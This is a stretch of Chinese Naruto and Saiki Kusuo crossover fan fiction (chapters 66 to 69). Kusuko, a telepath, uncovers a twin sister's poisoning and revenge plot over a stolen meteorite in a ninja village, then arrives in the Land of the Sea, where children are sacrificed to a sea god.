楠子蹙起眉,盯视向一个方向,穿过层层大门,哪怕以她现在的视力,也能清晰看清楚中央放置的箱子,确实被掀开了。 ‘怎么?难不成是卡卡西?’ 她想再去确认一下卡卡西的情况,却已经来不及了。 赤星,星隐村的反对派,已经带着一队人过来了。 【陨石居然丢了!到底是谁?】赤星的心音响得惊人。 ‘陨石居然真的丢了?’楠子有些诧异,想要和站在他身边的少女确认,可是对方却没有任何心音传来,静得如同一个瓷器。 ‘怎么会这样?’楠子蹙起眉,“妙珊?陨石丢了?” 提出问题,对方只要在思考,就一定会有心音传来。 妙珊看了她一眼,神情烦躁,“是的,丢了!” 没有心音。 心灵感应……失效了? ‘怎么会?’ 楠子神情一顿,只要有自己的意识,无论面上多么古井无波,脑袋里的思维都应该不会停转。 这么多年来,楠子已经习惯自己被心声所包围,甚至习惯了自己能够了解所有人的想法。 哪怕有的人的想法会在瞬息间改变,但那心灵之声不会改变,为什么妙珊……居然没有一点心音? “别站在这里碍事!星隐村可不会因为你是大明星而对你有什么优待。” 被重重推了一把,楠子感觉长门扶住了她的肩头,她却没有在意,嘴角抿出了细细的线,余光依旧停留在妙珊的身上。 白日里,她还能听到她的心声,那现在这个情况,应该是她身上发生了什么变化? 不行!她必须要搞清楚! 眉眼一厉,透视、超级听力、分析……她没有吝啬,将用得上的超能力一起使了出来。 不是衣物、不是饰品,等等……那难道就是…… 她有些不确定,看了看周围的人,垂下了头。 ‘呼,只要找机会测试一下,应该就知道了吧?’ 现在星隐村和雨隐村的忍者都在,在没有出现危险的情况下,她不想轻举妄动。 只是她怎么看,都觉得眼前的妙珊有些违和。 服饰没变,脸上的伤疤也没有。 那么,是语气吗?还是其他什么? 她在思考着,那边萤火已经迎上了星隐村的来人。 “赤星,你在说什么?什么东西丢了?” “别装蒜了!萤火!你带着这些人来的目的就是那个吧!”名为赤星的忍者直接一把拽住了萤火的衣领。 萤火目光一变,正想说话,旁边的妙珊站了出来。 “萤火大人,赤星大人,这件事很重要,星影大人正在修炼室里等着呢。”她的目光移到了楠子几人身上,“还请这几位,也一起前往。” ----------------- 心中怀抱着疑虑,楠子、长门当然一起前往,连带着身后长门变出的分身,也在某个时间,由真正的卡卡西替换。 “卡卡西,他们似乎丢了东西……”长门的眼睛里带着试探,卡卡西只是略一摇头,他便收回了视线,只是盯着有些异常的楠子看。 楠子此刻根本顾不上卡卡西,余光还锁定在妙珊身上。 此刻,星影、萤火、赤星、星隐村的护卫忍者,以及他们一行人都到了,小小的修炼室中,顿时没了多少空间。 赤星猛地朝萤火发难,“妙珊看见了,是你们这里的忍者偷走了陨石!妙珊,你说是谁?!” ‘她……看见了?不对,卡卡西应该并未来得及靠近这间屋子。’ 至少卡卡西的心声是这样说的,可楠子现在已经听不见妙珊的心声,只能用复杂的目光望着她,看着她颤抖着抬起了手,指向了…… 赤星! “是赤星大人!他、他偷走了陨石,还说、要独占陨石!”她猛地跪了下来,膝盖重重磕在了地上,神情惶急,“星影大人!都是赤星大人的阴谋!我、我是被逼的!” 赤星那张原本木然的面孔变得狰狞,却又强自冷静,咬牙切齿道,“妙珊,你在说什么?我?偷了陨石?” “是的!”妙珊膝行两步,更靠近了星影,“就在几天前,赤星大人和我说,星影大人您已经老糊涂了,居然相信萤火大人的话,要停止使用陨石修炼,他说那正好,他就可以独占陨石。” 赤星冷笑一声,“你说我要独占陨石?陨石的力量够大家修炼的,为什么我要……” “那当然是因为你要取代星影大人,成为真的影!” 妙珊大声地吼了出来,转向星影,目光又变得哀戚。 “星影大人,我的父母,都是您身边最忠诚的护卫,您难道不相信我吗?” 她仰着头,看着星影,如果不是妙珊头巾和服饰都偏男性气质,那恐怕真的是一幅极美的图像。 只是,有些不协调。 楠子望着面前的“剧情”,却在想着妙珊这个人。 虽然只是匆匆见了一面,但她好歹也听过对方的心声,如果对方是这样一个唱念做打样样精通的人的话,心灵应该不会那样纯净吧? 这样的心声,反而像是…… 她的眉头一动,脚步微移,“卡卡西,妙火呢?” “我不知道。”卡卡西瞬间回复,简直像是设定好的一般。 ‘啧……我又不是在查岗。’楠子颇为无语,又去看长门。 长门垂下头,说:“她说她有点不大舒服,在帐篷里面休息,有人在看着她。……楠子,有什么问题吗?” 楠子神色莫测,摇了摇头。 只是心底却涌上了巨大的异样之感。 与世隔绝的村落,被重重保护的秘宝,利弊参半的禁忌仪式,进步的新青年,远道而来的客人,外加村落里的双胞胎少女…… 这是《零·红蝶》! 咳咳咳,串台了……不是,这应该是偏远山庄的民俗案件吧? 她看向了妙珊。 ‘而后,按照推理的套路来看的话,使用的诡计就该是……’ “等等!”一声断喝打断了那边试图继续靠近星影的妙珊,卡卡西站了出来,连楠子的注意力都被吸引了过去。 “你们也太过分了吧!我们就在这里,也不可能就这样站着让你们污蔑!” 赤星咬着牙,“方才被污蔑的可是我呢!” 卡卡西微一摇头,“无论如何,你们都把我们牵扯了进来。我们不可能坐视,何况,我们这里可有着名侦探呢!是吧?楠雄。” 呃?名侦探什么啊?楠雄什么啊? ‘方才不还因为我和长门之间的默契而生气呢吗?究竟又怎么想到了名侦探楠雄上了啊?难不成你以为我会开心吗?’楠子瞪大眼睛看向了卡卡西。 可她……确实有点开心,因为卡卡西的心音在说: 【楠子,没问题的。】 连他的眼神也带着信赖与支持。 ‘就这么信任我吗?可是,我的强大是建立在超能力之上的啊。……呀嘞呀嘞,或许只有推理能力不是。’ 心情恢复了平静,楠子踏前一步,“你们说,你们的陨石丢掉了,就在这里?” “嗯?”赤星转过头,嘴角都扭曲了,“楠雄?你不会以为你长了一张帅脸,就真是名侦探了吧?” 楠子点点头,按住了下巴,“我是长了一张帅脸,但也真的是名侦探。现在我,可是要恢复你的清白呢。” 赤星的眼神终于多了点色彩,“你都知道些什么?!” “呵,没什么能逃过我的眼睛。” 齐木楠子进入了侦探模式,迈着步子,在这并不算大的空间里绕过了一圈,又看向了几人进来的大门,最后是地上的脚印。 这里被清扫得干净,普通人来看的话,自然什么 都看不出来,可她是齐木楠子,轻而易举地发现了其中的不妥之处。 嘴角的笑容多了一抹自信,她点了点额头,道:“如果我没猜错的话,这里原本应该有两个守卫吧?其中一个,是妙珊?” “是这样。”赤星瞥向了妙珊,“今夜是妙珊和另外一个忍者负责看守这间修炼室。只是另外一个守卫,因为……受到攻击,已经陷入了昏迷。” 赤星原本想说,这是受到你们的攻击的,但是经过妙珊的诬陷,他早就发现了整件事的不妥之处,只模糊说了一句。 “嗯,但与其说是攻击,不如说是毒吧?”楠子的余光扫向了妙珊,果然见她手指微微一颤。 那动作极其细微,如果不是她正在观察,说不定真的会放过这个细节。 ‘对,就是这样,就算不用心灵感应我也能够判断出人心才对。’ 楠子迈出一步,“因为如果是攻击,哪怕再怎么差劲的忍者,第一瞬间的反应也该是躲避或者反击,但我看方才门口并未留下打斗的痕迹,连墙角的灰尘都很均匀。 “只有站立处的脚印,和膝盖落地留下的印子,如果我没猜错的话,那个人,应该是中了毒,支撑不住,所以才倒在了地上。” 赤星紧皱起眉,看向妙珊,一声冷笑,“所以,只有妙珊,你才能……” “是赤星大人让我下的毒!”妙珊先声夺人,泪莹于睫,“你们怎么都不明白?都是他逼迫我!星影大人!我……” 她试着朝着星影的方向奔去,萤火却已经率先一步挡在了星影的面前,目光复杂地望着她:“妙珊……” 他没有把话说完,但那眼中的复杂和惋惜却是那么明显。 妙珊猛地一怔,似是不敢置信,“萤火大人,居然连你都不相信我吗?” 萤火闭了闭眼,“妙珊,你这一次,真的做错了。” 楠子“听”得清楚明白,萤火心声明明在剖白,他虽然和赤星有着不同的理念,但现在的情况明显就是妙珊在陷害赤星。 妙珊自然也明白了,楠子看不见,但她的嘴角抽搐了一下,眼底的惶急终于转变成了讽刺和厌恶。 “呵、呵呵……”她脚步踉跄,后撤了几步,怒吼出声:“你在装什么装啊!明明这一次,将外人引来,计划要偷走陨石的是你吧?!我都已经替你做了那么多,只要你把赤星钉死就好!为什么?为什么要来指责我?” “呵,我就知道,萤火你不可信,还有你们。”赤星阴恻恻的目光转了过来,扫视向了在场的几个忍者。 可楠子只是无语。 她望着站在正前方的星影。 这位老人紧皱着一张脸,低垂着目光,似乎不知道在想些什么。 但那只是似乎。 只要身为“影”,就得学会平衡。 赤星和萤火,只是天秤上的两个选项而已,一个是继续修炼,趁着人都没死绝前壮大村子,一个是休养生息,再不考虑称霸之路。 而星隐村,还远远称不上是一个成熟的忍者村,星影的责任重大,却因为村子先天资源不足,无法割舍陨石修炼的利益。 “我倒是能够理解呢。”她说。 赤星笑容更冷,“你不过是一个外村的忍者,你知道些什么!” 楠子摇了摇头,叹息一声:“就凭你们还完全没认出她是谁,我就觉得,她有资格厌恶这样的村子。” 在场的忍者皆是一怔,或许只有不在意这些的长门,和已经稍有预料的卡卡西没有太过惊讶,但还是一起看向了场中的少女。 她身量不高,头上围着厚厚的头巾,一头头发散乱在肩头,小麦色的肌肤,脸颊上有着短短的十字形刀疤,牙齿紧紧咬起,眼睛里充满了仇恨的火焰。 那种鲜活而炽烈的模样,就像是活跃在忍者里的复仇之女。 楠子,如叹息一般,念出了她的名字: “好久不见,妙火。” 67.“鸟蛋” 妙火? 众人的目光盯在了正中女孩的脸上。 那张原本带着粗粝的面容逐渐扭曲,恶狠狠的盯视着楠子,见她毫不回避,才像是放弃了一般直起了腰背。 “哈,是呢,我倒是没想到。我认识的熟人没有认出我,但是却让一个陌生人认出来了。” 楠子摇摇头,“或许,他们只是习惯了。” “是啊,习惯了。”妙火一声冷笑,“习惯于支使我们,却连我们的名字都记不住。” 星影抬了抬眼皮,目光颇有些复杂。 因为相比起赤星和萤火,他更不可能了解妙火。 但他还是开了口,“我记得你的父母,他们,似乎是在任务当中牺牲的。” 妙火目光微凝,嘴角的笑意逐渐拉扯,“哈,是啊,没想到……星影大人,您居然记住了呢?” 因为妙火回过了头,楠子看不清楚妙火的神色,只注意到了萤火和赤星的神情。 他们一个欲言又止,一个面带冷笑。 ‘难不成……星影记错了吗?’ 她正迟疑着,忽而余光扫到了身后。 门被“砰”得一声撞开,一个和妙火身形相似的女孩摔倒在地,看清周围的情况,她大声吼道:“妙火,你在做什么?!” 妙火眼底划过一丝错愕和不忍,可她很快反应过来,讥讽道:“我要做什么需要你这个废物管!” “废物?”妙珊一怔,急道,“妙火,不管你做什么,你都停手吧?!雨隐村的忍者,我求求你们了,带她离开!” 十几岁的少女扑倒在地,哀声求饶,可这并没有引发楠子、长门或者卡卡西的一点怜悯之心。 楠子是因为正在思考,长门则是准备听取楠子的命令,而卡卡西,他铁石心肠。 开玩笑,如果现在不铁石心肠的话,恐怕连老婆都要跑了。 况且这次的任务由雨隐村的忍者,也就是长门主导,无论如何也不是楠子和他能够说上话的。 只不过…… 【陨石在哪里呢?】他的目光警惕地扫向周围。 见他们都不答话,妙珊也恼火起来。 她咬紧了牙,仔细盯着三人,然后最终将目光落在了楠子的身上。 双手握紧,她重重低头,“对不起,楠雄,之前是我的态度不好,拜托你求求你把我的妹妹带走吧,她……她身体不好。” 她说着,刘海遮住了她眼底的泪水和屈辱。 那边的三人居然还没有反应。 没有办法了,但如果是为了妹妹,让她做什么都行。 她牙齿一咬,正准备下跪,却感觉肩头一重,原本在不远处的楠雄,不知为何出现在了她的身边。 他并不算大的手掌,坚定地扶住了她的手臂,直接把她拉了起来。 现在她才发现他是那样高大,至少要比她高半个头。 目光垂下,在那金丝的平底眼镜下,一双深紫色的眼眸俯视着她。 而后,她听到了他如同上好乐器一般的叹息。 “哎……让美女下跪的事我做不到。” 妙珊的脸一瞬间爆红。 楠子的目光却已经滑到了知晓她身份的妙火脸上,看到对方的表情忽而变成了“皿”字。 ‘呀嘞呀嘞,果然是姐妹呢。’她正想着,瞳孔猛然一缩,看着妙火忽的抬手,原本尖塔一般的训练室上方突然炸开了几朵“烟花”,黄绿色的烟雾飘散在空中。 妙火已经将一个防毒面具罩在了脸上,赤星想要扑上抢夺,她轻巧地退了一步,就让赤星扑了个空。 这边厢,妙珊也是一僵,头脑晕眩之中,嘴巴里忽而被塞入了什么。 “唔,你给我喂了什么?”她心惊道。 “没什么。”楠子瞥了过去,“只是药而已。” 骗人的,是糖豆。 那边长门和卡卡西躺了一地,可她还需要妙珊的心音为她提供信息呢,自然不能让她这么早昏迷。 这样想着,她看向了妙火的方向。 ----------------- 面前和身后陆续传来倒地的声音,妙火心中激动。 ‘终于可以复仇了!父亲和母亲!’ 她抬步向着星影走去,裤腿却被拽住。 “妙、火,贱人!”赤星目眦欲裂,吃力地喊道。 或许只有他和萤火知道妙火的父母是怎么死的。 她的父母是星影忠心的护卫,但他们并没有因为护卫星影而死,也不是因为任务,而是因为修炼。 因为实力低微,他们不得不修炼,却因修炼导致身体衰弱,继而陷入恶性循环。 呵,每年总有那么一两个倒霉蛋会因为修炼而死,只是霉运笼罩了妙火的父母一家而已。 父亲和母亲都因为那随机的疾病早早死去。 再过了几年,连妙珊、妙火的身体都变得虚弱,从而不得不寻求别的修炼方式。 这个修炼方式,就是毒。 可赤星从没有想到,一向躲在妙珊的身后,显得柔顺的妙火胸中居然燃烧着仇恨之火?这对吗? 【明明是村子养育了她,让她为了村子去死又怎么样?!等等,她难不成、难不成真的要杀死我吗?】 看着妙火甩脱不了他,扬起了手中的匕首,赤星终于开始恐惧。 “妙火!不要……是星影!他知道的!他也知道修炼会伤害大家的身体!是他!都是他的错啊!你的父母也是一样的!他们是听从了星影的鬼话,才会一直修炼……唔!” “不要提我的父母!”伴随着嘶吼的话语,赤星发出一声闷哼,被猛地踢远。 防毒面具下,妙火的眼底泛上了血丝。 是的!只要杀死星影,就能结束这一切! 毒气已经逐渐侵染大家的身体,压抑的咳嗽声时不时传来,又渐渐消失。 她抬起头,坚定地向着方才记忆中星影的地方走去,很快就找到了那个瘫软在地的老人。 他紧蹙着眉,脸因喘不上气而变得通红,发出嗬嗬的声响。 看着他,妙火的心中却想起了父母。 她的父母,只是星隐村普通的忍者,以为得到了星影的器重,每日每夜都在修炼室修炼。 如果仅仅是这样,她原本也不会仇视星影,只会以为那是父母运气不好。 可在某天的夜里,滞留在修炼室的她居然听到了星影的话。 “这是第几批了?” “星影大人,孔雀妙法造成的伤害太随机了。如果仅仅是这些样本,根本没法得到准确的数据。” ‘样本?什么样本?’她那时心里想着,就听到了自己的名字。 “那就将那对双胞胎姐妹也加入进来吧,一个人日夜兼修,另外一个只白天修炼,这样,应该能得出伤害的数据。” “是,星影大人。” “对了,我记得,他们的父母应该还年轻?” “呵,星影大人,他们早就为了这个实验而牺牲了啊。” 星影沉默了,而后,她听见这位大人沉重的声音:“是吗?那……星隐村,会记得他们的牺牲。” 现在,望着这张苍老而恐惧的脸,妙火心中只有仇恨。 ‘记得什么啊!你不是连我的父母怎么死的都忘记了吗?!’ 牙齿将嘴唇咬出鲜血,她高高地举起苦无。 ‘去死吧!星影!’她在心中怒吼着,可手臂,居然怎么都挥不下去了,因为,有人抓住了她的手腕。 妙火眼神震颤,带着防毒面具的面孔,慢慢回头,就对上了一双冷静的眼眸。 “齐木……楠子?”她的嘴唇抖动了一下,“你居然,没有中毒?……妙、妙珊,你怎么也?” 是的,齐木楠子没有中毒。 她好歹也是世界最强的异能者,又能控制自己的肌肉、骨骼,乃至毛孔,又怎么会被区区的毒气所侵扰。 她所烦心的,从来不是弄不清楚事情真相,或者没法处理星隐村的事,而是此时此刻,无法听到妙火的心声这件事。 仔细盯着妙火,她的眼眸轻而易举地透过了那防毒面罩,看到了妙火的神情。 “你要复仇?”楠子问,“为了你的父母?” 妙火只是嘴唇紧绷,因为她发现,除了额角的冷汗,她的身体也无法动弹。 妙珊踏前一步,挡在了妙火身前,“我妹妹只是犯了糊涂!你们、求求你们了,带她走吧!我可以留在这里,把这一切当成都是我做的!” 楠子看了妙珊一眼,颇有些无语。 说起来,这对姐妹还真是奇妙。 一个人想到了复仇,于是真就曲里拐弯找到了实现的办法,另外一个人在这种情况下,不理会其他所有的事,却只想着要保下妹妹的命。 ‘至少,她是真心这样想的。’楠子神色漠然,而鲁莽的妙珊还未发现妙火的不妥之处,一句又一句地哀求着,试着将所有的罪责揽在自己身上,甚至还在为他们考虑如何逃脱。 但楠子只关心一件事情,那就是她为什么听不见妙火的心音。 睫毛微颤,无论是早就因为那毒而陷入昏迷的长门、卡卡西和萤火,还是原本因为有抵抗力而清醒着的赤星、星影,都瞬间陷入沉睡。 “妙火,你要仔细想好,再回答我的话。”楠子面若平湖,没有一丝表情,“你究竟因何而盗走星影村的陨石?” “是!是为了我的父母!”妙火咬牙道。 ‘哦,听不见。’楠子想着,目光却扫过妙火头上的头巾。 从一开始的透视,她就已经注意到了,妙火的头顶,顶着一颗“鸟蛋”。 她当然不会以为,那是她的独特爱好。 只有一种可能性,那就是,那颗鸟蛋就是星隐村的至宝陨石。 ‘是因为它吗?所以我听不见妙火的心声?’ 看着那颗陨石,楠子目光微冷,而后余光穿过了毒雾,扫到了那边的卡卡西和长门身上。 ‘这个东西,到底要怎么处理呢?’ 68.选择 陨石该怎么处理呢? 楠子想到了身后的长门和卡卡西。 如果是优先任务,肯定是将这块陨石给卡卡西。 但是,她真的能够信任木叶,让木叶完全拥有这块能够屏蔽她心灵感应的石头吗? ‘怎么可能?’楠子想,‘等我研究透彻,我就把它的性质改变。’ 她分心想着,用石头置换了陨石,又将那块陨石一分为二,捏出形状,一块塞入了长门的怀里,另外一个则给了卡卡西。 这是她在这里唯二信任的忍者。 前者听说陨石能够伤害她,就不辞辛劳的前来,甚至不准备让她知道。 后者虽然有所隐瞒,但卡卡西是绝对不会伤到她的。 至于芳朵……楠子的眼皮跳了一下。 她现在不就是被她给害到了吗? 真没想到啊,迄今为止,对她打出了最高伤害的居然是这个一点都不专心于忍者事业的女人! 啊,在陨石离开了妙火那电灯泡头巾的一瞬间,她的心声也响了起来。 “如果不是他们,我的父母就不会死!都怪星影和赤星!” 【楠子居然这么强?怎么办?如果不杀死赤星和星影,村子就会继续修炼,妙珊也会早早死去……】 “妙珊那个蠢货,根本不知道我的计划!她……” 【可恶啊!明明旗木卡卡西那个混蛋那样心软,只要让妙珊伪装成我,他再怎么样都会把妙珊带走的啊!】 ‘……卡卡西那么精明的人,居然被当做了冤大头啊。’楠子目移。 虽然她早就知道了,妙火不是真心喜欢卡卡西。不然一个女孩子也不至于把卡卡西那样的帅哥骂个狗血淋头吧? 她其实一早就发现了,妙火的体质偏弱并不是装的。 修炼孔雀妙法的她实力比妙珊强,可妙火因陨石引起的辐射病却恰好阻碍了对方的成长,甚至让对方的身体成了拖累。 如果不是早早就体会到了孔雀妙法的缺陷,她也不会那样快的下定决心,要杀死赤星和星影啊。 心中着急不已,妙珊慌张地拉住了她的手臂,“楠雄,怎么样?你说话啊!” “啊……这个嘛。”楠子回过神。 妙珊一愣,这个看起来刚强的女孩急的眼泪都快出来了:“……你,在走神?你居然在走神?!” “没有哦,我在认真听着呢!”楠子的视线终于聚焦,就听见了妙火的心中涌出了一系列屏蔽词。 ‘骂得真脏。’楠子心里想着,松开了手。 “只杀死赤星,如何呢?” 正在心中诅咒的妙火突然哑了火,眼睛瞪大,“什么?” “原本他也是想杀死星影,而后嫁祸萤火和我们的吧?”楠子抬起了头,对上了妙火的视线,“你的姐姐妙珊,是因为这一点,才努力阻止我们在这两天靠近修炼室的,所以,我会承她的恩情,而后,放你一马。” 喉咙滚动了一下,妙火冷笑道:“什么叫放我一马呀……” “妙火!”妙珊是真有些恼了,她的思维很简单,那就是妙火能逃出去,远离陨石就好,如果她能跟妙火一起,那就更好不过。 时间不多,楠子阻止了妙珊,快速道:“我不想多说了,我有治疗辐射病的方法,可以教给雨隐村的忍者,让他们救助你们。你现在可以选择了,杀死赤星,留下星影,为你们的村子保留下一线生机,亦或者完成你的复仇,杀死星影和赤星。” 妙火的脑袋转得很快,眼底皆是不信,“如果我杀死星影和赤星,你们也可以帮助我们吧?!萤火他……” “他是你的前辈。” 妙火咬了咬牙,冷静了几分,压低了声音道:“只要我杀死星影和赤星,萤火前辈也可以整合星隐村,我会背下一切责任和罪孽,我只要你带走我的姐姐。” 在妙珊“要走一起走”的喊叫声中,楠子不置可否,“你真以为杀死赤星和星影,星隐村就会安定吗?这只会导致星隐村内乱而已。” 【我当然知道!可那又怎么样!没了孔雀妙法,大家至少不会因为辐射病而死了!】妙火将唇都咬出血来,硬挺着默不作声。 ‘这不是很清楚吗?’楠子摇了摇头,“妙火,你选择吧。” 她是真的挺喜欢妙火的。 至少,有那么一刻,这个女孩瞒住了她这个“侦探”。 可正因为她瞒住了“侦探”,她又不想那样轻易地放过她了。 这对双胞胎姐妹站在命运的十字路口,妙火的选择会决定她们俩的命运究竟驶向何方。 就像是大蛇丸师父说的,这……不是很有趣吗? 她想要转身回去,可某个惶急的心声又响了起来。 【怎么办?要怎么办……妙火,如果妙火选择了杀死星影……那么我们……】 楠子叹了口气,转过了头,“妙珊。” “是、是!”妙珊也不知为何,此时自己竟然就这样应答了。 她站直了身体,就见眼前的“楠雄”对她伸出了手,“我们走吧。” “什、什么?”她有些怔愣。 “这是你妹妹的选择,你是姐姐,但你……也不能掌控她的人生,不是吗?” 妙珊望着那张雌雄莫辨的俊美面容,心中一点点涌上哀恸。 她知道的啊,她当然知道的啊…… 如果她足够强大,足够聪明,那么妙火至少会告诉她,她的妹妹想要逃跑,想要毁掉陨石…… 【现在,是妙火做决定的时候吧,我……我不能妨碍她。】 实际上,也是不可能妨碍的。 楠雄看起来比她和妙火都强,如果不听他的话,那么妙火……还能得到帮助吗? 妙火呢?她没有出声,是不是也是这个意思? 手颤抖着抬起,她不敢去看妙火的眼神,将手掌放在了“楠雄”的手上。 殊不知,她此刻被“禁言”的妹妹,正狠狠瞪着楠子呢。 ‘我也只能帮你到这里了。’楠子深深看了妙火一眼。 她带走了妙火的姐姐,如果她真的聪明,就该知道做出什么决定,对她们的未来才是最好的。 ‘呀嘞呀嘞,到头来,我还是无法成为师父那样恶劣的忍者啊。不过,也没什么不好的。’ 拉着妙珊走回到了原本的站位,楠子躺了下来,看着天花板棒读道:“哎呀,我中毒了。” 妙珊呆了一秒,也和她一样躺了下来。 “我、我也是。”她呆愣愣地望着天花板,嘴巴一张一合,连自己在说什么都不知道,就感觉一个温热的手轻轻捏了捏她的手腕。 “别担心。”“楠雄”的声音传来,如同优美的乐器,带来安抚人心的力量,“闭上眼睛,不会有事的。” 妙珊的眼皮颤了一颤,紧紧闭上,手却攥紧了“楠雄”的衣袖。 楠子收回了目光。 妙火是会杀死星影,亦或者为星隐村留下一点希望呢? 无论做出哪个决定,她……都 能接受。 在心音的吵闹声中,楠子,安心地闭上了眼睛。 ----------------- “不好啦!不好啦!妙珊和妙火偷走了陨石,杀死了赤星大人!然后逃走啦!” 大清早的,星隐村里人声嗡嗡,哪怕是“名侦探楠雄”剧组会提供免费的医疗都没法让人安静下来。 楠子坐在大篷车的前面,看着广场上惊恐而纷乱的人群,意外地发现其中还有不少心声松了口气。 【这么说,我的孩子就不用修炼了吗?太好了!】 【如果停止修炼,妈妈的病会好吗?】 【……明天就求婚吧,可恶啊!都怪那个楠雄,加奈说不定根本不会答应我了!】 ‘嗯?怎么还有我的事呢?’平光镜下,楠子的眼睛变成了“——”。 “楠子。” 楠子抬起头,看向了卡卡西。 他的神色有些沉重,大概是因为他已经发现了忍具包里,楠子“送”给他的礼物——那颗陨石。 “长门已经和星影沟通好了,接下来会由雨隐村的忍者进行治疗,而后是合作。” “哦。”楠子端详着卡卡西,实际上没怎么将这些事听进去。 毕竟,这是她吩咐长门的嘛。 她忽而兴起,问:“卡卡西,你这次的任务究竟是什么?” 卡卡西似是猝不及防,锋利的眉毛跳动了一瞬,才不耐烦地皱起了眉,“楠子,这可是我的任务,你……不必知道。” “嗯。”楠子仔细分辨着卡卡西的神情,猜测对方是在想些什么。 他会想‘自己的语气是不是不太对’吗?又或者‘这样说会不会让楠子伤心呢’? 可惜,完全看不出来。 单只看卡卡西这张帅气的面孔和烦躁的情绪,她只能察觉对方在紧张,在不耐而已。 ‘看来,没有了心灵感应,我就根本无法得知卡卡西在想些什么啊。’楠子心中苦笑,目光转回,盯着地面上的石子。 这是第三次询问了,卡卡西依旧没有告诉她。 ‘真痛苦啊……’她想,‘在这种口是心非的时候,普通人是怎样确认对方的爱意的呢?通过相信的力量吗?’ 她……没有那种力量。 心脏像是被带刺的藤蔓一圈一圈缠绕,她面无表情,却感觉那里似乎有鲜血一点一点渗出。 当然,这只是种想象,她其实……并没有那样疼痛。 ‘呀嘞呀嘞,这就是普通人的苦恼吗?这也是没办法的事,虽然拥有强大的力量,但是从结构上来说,我也是个人啊。呵,旗木卡卡西,我会记住的。’ 楠子微微垂眸,坐在那里抱着膝盖的模样,如同一个精致的人偶。 此时此刻,一道透明的避障将两人隔绝开来,像是一人在岸上,一人却在海底。 卡卡西似是察觉到了什么,想要说话,却听楠子先道:“我之前是见到通讯鹰才来的,现在,我也该继续自己的路了。” 卡卡西蹙起眉,“你要去哪里?” “去海之国,找师父,兜和红豆也在那里。”楠子说的很慢,解释的也很清楚。 在这种听不到卡卡西心音的时候,她还是怕他多想的。 卡卡西的面罩动了动,楠子还是发现了对方的担心、犹豫,可是他不会跟来的,因为旗木卡卡西是个合格的忍者。 楠子笑了笑,重重拍了一下卡卡西的肩,“你可要加油啊,精英上忍。” 69.海之国 “楠子大人,这次您是要去哪里呢?” “去海之国。” 楠子回答着。 她之所以想去那里,是因为她的师父大蛇丸在这一年之间频繁往返木叶与海之国。 近几个月,还有许多根组织的忍者一去不回。 团藏根本不在乎这些事情,也只有她这个徒弟为叛逆的师父“殚精竭虑”。 这是骗人的~正是因为团藏都不管,所以她才一定要去看看。 临近海之国,带着海腥味的风迎面而来,楠子的胸中也难得生出一种天地辽阔、其余皆小的感觉。 似乎,连能不能听得见他人心声这种事,都变得无所谓了。 ‘果然,我还是不能太依赖超能力啊。不对,应该说,除却超能力,我本来也该是个很优秀的人啊。’ 楠子仰起了下巴。 心态一转变,眼前的一切都发生了变化。 一下船,她就准备朝着海之国破败的街道走去。 这里的一切看起来都像是江户时代,如果说哪里有消息,应该就是酒肆之类的地方吧。 她的目光自左向右转去,“长门,这边。” “好的,楠子大人。” 楠子抬步走去,就听见一个声音传入耳中。 “求求了,求求了,好心的神啊,救救我的儿子和女儿吧。求求了,求求了,好心的神啊,救救我的儿子和女儿吧。” 她转头望去,一个中年妇人,面相普通,一身茶褐色的脏旧小袖,下半身的裤子裹着脚绊,头上扎头的头巾虽像是洗得干净,但也隐隐透着黄色。 那头巾的包法和妙珊还有所不同,是劳动妇女的那种打扮。 楠子余光扫过她,并未停驻步伐,忽而脚下一顿。 “楠子大人,怎么了?” 楠子抬起脚,看向了脚下的沙地。 黄色的沙地之上,露出一块类似于岩石一样的东西。 她迟疑了一瞬,微微用力就将那块大到离谱的“岩石”拔了出来。 它有着厚重的双壳,上面布满了一圈又一圈的沟壑,如同车轮狠狠碾过,各种各样鲜亮的颜色交错而过,像是被阳光照射,泛着油光的泥水。 ‘这是什么丑东西!’楠子的嘴角都要抽搐了啊! “砗磲!是砗磲!”已经有人认了出来。 “天呐,这么大!应该有50厘米了吧?看那张合的样子,居然还是活的!” “从地上拔出来的吗?刚才我怎么没发现?” “这如果做珠子,能做多少啊!小姑娘……呃……” 有人认出了两人是忍者的装扮,拉了想要询问的那个人一把,周围的人依旧嗡嗡不停,却再也不敢大声说话了。 只余下楠子木着一张脸,抱着那长达50厘米的“丑东西”。 连长门都惊讶得说不出话来,“楠子大人,这是?” “……礼物。”楠子看着手中的砗磲,十分不情愿地说,抬起了头,“还是先去找找落脚的地方吧。” “嗯,好的,楠子大人。” 太丢脸了,楠子直接将那个砗磲交给了长门。 “你拿着。” “呃,好。” ‘呀嘞呀嘞,拿着这种东西,真是会降低我的品味。幸好长门跟着一起到了。’ 这个时候,楠子反而有些庆幸自己听不到长门的心声了。 她板着脸在前面走着,不多久就在海之国民众的围观中走入了一个酒馆。 “哎呀!欢迎欢迎~忍者大人,请问您想要吃点什么呢?”酒馆的侍者弓着腰走了过来。 楠子也不想在这边喝什么东西,直接将几张纸币放在了桌子上,问:“我想要了解一下海之国最近的事。” “额?最近的事。”侍者的神情有些讶异。 “是有没有什么值得在意的情况。”楠子说着,又将自己的忍者护额露出了一角,对方看到了代表着木叶的纹样,神情立刻恭谨了几分。 “最近值得在意的事啊,让我想想。”他的脑袋上像是忽然点亮了一个电灯泡,“啊,是海神祭啊!” “海神祭?”楠子跟着重复,心灵感应已经让她将酒馆内所有人的心音都听了个清楚。 海神祭是许多年前就传下来的祭祀,只是前几年风浪越来越大。海之国的渔民们以捕鱼为生,风浪不仅让他们难以出海,还卷走了许多渔民。 直到有位“神使”站了出来。 “只要每三个月贡献出一对童男童女就可以满足海神,风平浪静,甚至让你们的船只装满鱼货!” “我们当然不相信啦,”侍者说,“但是在一对兄妹上船葬身海底之后,真的平静了三个月!” 长门紧蹙着眉,“而后你们就开始施行这种海祭?为什么不请忍者呢?这种事分明就是……” “长门。”楠子打断了长门,平静地望着眼前的侍者。 她能听到心音,能知道的自然比眼前的长门多。 【当然知道有人在搞鬼啦!】 【我们只是渔民,能怎么办?】 【打了这么多年仗了,根本没法雇佣各个国家的忍者前来……】 【三个月一对童男童女,要是对方被逐走一次,而后又再来了又怎么办?】 重重负面的心音试图击破楠子的心防,但是楠子没有丝毫动摇。 这……就是忍界的现状啊。 再说,这些人不是在明知道这种情况下,还在不断献祭童男童女吗? 连一开始的那对兄妹究竟是不是自愿上船的都不一定呢。 ‘一年三个月,所以说……至少得有8个少年被献祭了?再加上中间死去的渔民……’ 楠子深深叹了口气,长长的睫毛遮住了水晶般的眼眸。 这个世界病了。 她一直都知道,可是她从未想过用超能力去解决这些事情。 